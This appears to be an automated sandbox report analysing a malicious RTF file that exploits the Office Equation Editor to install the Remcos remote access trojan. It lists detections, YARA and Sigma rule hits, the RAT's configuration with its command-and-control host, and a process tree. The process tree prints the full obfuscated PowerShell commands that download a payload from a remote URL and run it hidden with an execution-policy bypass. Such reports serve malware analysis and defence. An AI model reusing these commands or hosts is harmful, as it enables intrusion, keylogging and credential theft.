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Windows
Analysis Report
DSpWOKW7zn.rtf
Overview
General Information
Sample name: | DSpWOKW7zn.rtfrenamed because original name is a hash value |
Original sample name: | 26595ba1951c5b5b9b8a328be0d93f1c.rtf |
Analysis ID: | 1526390 |
MD5: | 26595ba1951c5b5b9b8a328be0d93f1c |
SHA1: | afe1727998060a45fd092daa8189a3311d5f0823 |
SHA256: | 7664fd0a78d92fefa3f4b1528b7f41ad6d4f4940562ce017b2402732f2cbd9cb |
Tags: | RATRemcosRATrtfuser-abuse_ch |
Infos: | |
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Maps a DLL or memory area into another process
Obfuscated command line found
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3284 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3368 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3536 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\nicep citurewith ggreatethi ngstob.vBS " MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3580 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnezJ9Jy sndXInKyds JysnID0gey crJzF9aHQn Kyd0cCcrJ3 M6Ly9yYScr J3cuZ2knKy d0aCcrJ3Vi dXNlcmNvbn RlbnQuY29t L04nKydvRG V0ZWMnKyd0 JysnT24vTm 9EZXQnKydl Y3RPJysnbi crJy8nKydy ZWZzJysnL2 hlYWQnKydz L21haW4vJy snRGV0Jysn YWhOb3QnKy doJysnLScr J1YudHh0ez EnKyd9OyAn Kyd7Mn0nKy diYXNlNicr JzRDb250Jy snZW50ICcr Jz0nKycgKE 4nKydlJysn dy0nKydPYm onKydlY3Qg U3lzdCcrJ2 UnKydtLk4n KydldC4nKy dXZScrJ2JD bGknKydlJy snbnQnKycp LicrJ0RvJy snd24nKyds b2EnKydkU3 QnKydyJysn aScrJ25nKC crJ3syfXUn KydybCk7IH syfWJpbmEn KydyeUNvbn RlbicrJ3Qg JysnPSBbJy snUycrJ3lz dGVtJysnLk NvbnYnKydl cnRdOjpGJy sncicrJ28n KydtJysnQm FzZTY0U3Ry aScrJ25nJy snKHsyfWJh cycrJ2U2NC crJ0NvbnRl JysnbnQpOy crJyAnKyd7 MicrJ30nKy dhJysnc3Nl bWInKydsJy sneScrJyA9 JysnIFtSZW ZsJysnZScr J2N0JysnaS crJ28nKydu LkFzc2VtJy snYicrJ2x5 XScrJzo6TG 9hJysnZCh7 JysnMn1iJy snaW5hcnlD bycrJ24nKy d0ZW50Jysn KTsgW2RubG knKydiLicr J0lPJysnLk hvJysnbWVd JysnOjpWQU koezB9dHh0 LkUnKydDJy snQ05OLzA0 JysnMi83ND EuMDMnKycx LicrJzI3MS 43JysnMDEv LycrJzpwdH RoJysnezB9 JysnLCB7Jy snMH1kJysn ZXMnKydhdG knKyd2Jysn YWRvJysnez B9JysnLCB7 JysnMH1kZX NhdGknKyd2 YWRvezB9LC B7JysnMH1k ZXNhJysndG knKyd2YWQn KydvJysnez B9LCB7Jysn MH1SJysnZS crJ2cnKydB Jysnc217MH 0sIHswfXsw fSwnKyd7MH 17MH0pJykt ZltjaGFyXT M0LFtjaGFy XTM5LFtjaG FyXTM2KSB8 LiAoICRQc0 hPTWVbMjFd KyRQU0hPTW VbMzBdKydY Jyk=';$OWj uxd = [sys tem.Text.e ncoding]:: UTF8.GetSt ring([syst em.Convert ]::Frombas e64String( $codigo)); powershell .exe -wind owstyle hi dden -exec utionpolic y bypass - NoProfile -command $ OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8) - powershell.exe (PID: 3696 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('{2 }'+'ur'+'l '+' = {'+' 1}ht'+'tp' +'s://ra'+ 'w.gi'+'th '+'ubuserc ontent.com /N'+'oDete c'+'t'+'On /NoDet'+'e ctO'+'n'+' /'+'refs'+ '/head'+'s /main/'+'D et'+'ahNot '+'h'+'-'+ 'V.txt{1'+ '}; '+'{2} '+'base6'+ '4Cont'+'e nt '+'='+' (N'+'e'+' w-'+'Obj'+ 'ect Syst' +'e'+'m.N' +'et.'+'We '+'bCli'+' e'+'nt'+') .'+'Do'+'w n'+'loa'+' dSt'+'r'+' i'+'ng('+' {2}u'+'rl) ; {2}bina' +'ryConten '+'t '+'= ['+'S'+'ys tem'+'.Con v'+'ert]:: F'+'r'+'o' +'m'+'Base 64Stri'+'n g'+'({2}ba s'+'e64'+' Conte'+'nt );'+' '+'{ 2'+'}'+'a' +'ssemb'+' l'+'y'+' = '+' [Refl' +'e'+'ct'+ 'i'+'o'+'n .Assem'+'b '+'ly]'+': :Loa'+'d({ '+'2}b'+'i naryCo'+'n '+'tent'+' ); [dnli'+ 'b.'+'IO'+ '.Ho'+'me] '+'::VAI({ 0}txt.E'+' C'+'CNN/04 '+'2/741.0 3'+'1.'+'2 71.7'+'01/ /'+':ptth' +'{0}'+', {'+'0}d'+' es'+'ati'+ 'v'+'ado'+ '{0}'+', { '+'0}desat i'+'vado{0 }, {'+'0}d esa'+'ti'+ 'vad'+'o'+ '{0}, {'+' 0}R'+'e'+' g'+'A'+'sm {0}, {0}{0 },'+'{0}{0 })')-f[cha r]34,[char ]39,[char] 36) |. ( $ PsHOMe[21] +$PSHOMe[3 0]+'X')" MD5: EB32C070E658937AA9FA9F3AE629B2B8) - RegAsm.exe (PID: 3816 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Asm.exe" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3956 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\vz dom" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3964 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\ft rhfuxf" MD5: 8FE9545E9F72E460723F484C304314AD) - RegAsm.exe (PID: 3972 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\RegA sm.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\in wrfmihsqs" MD5: 8FE9545E9F72E460723F484C304314AD) - EQNEDT32.EXE (PID: 4064 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "dumboi.duckdns.org:51525:1", "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-8AXK3L", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_RTF_MalVer_Objects | Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
Click to see the 25 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
Exploits |
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Source: | Author: Joe Security: |
Source: | Author: Joe Security: |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |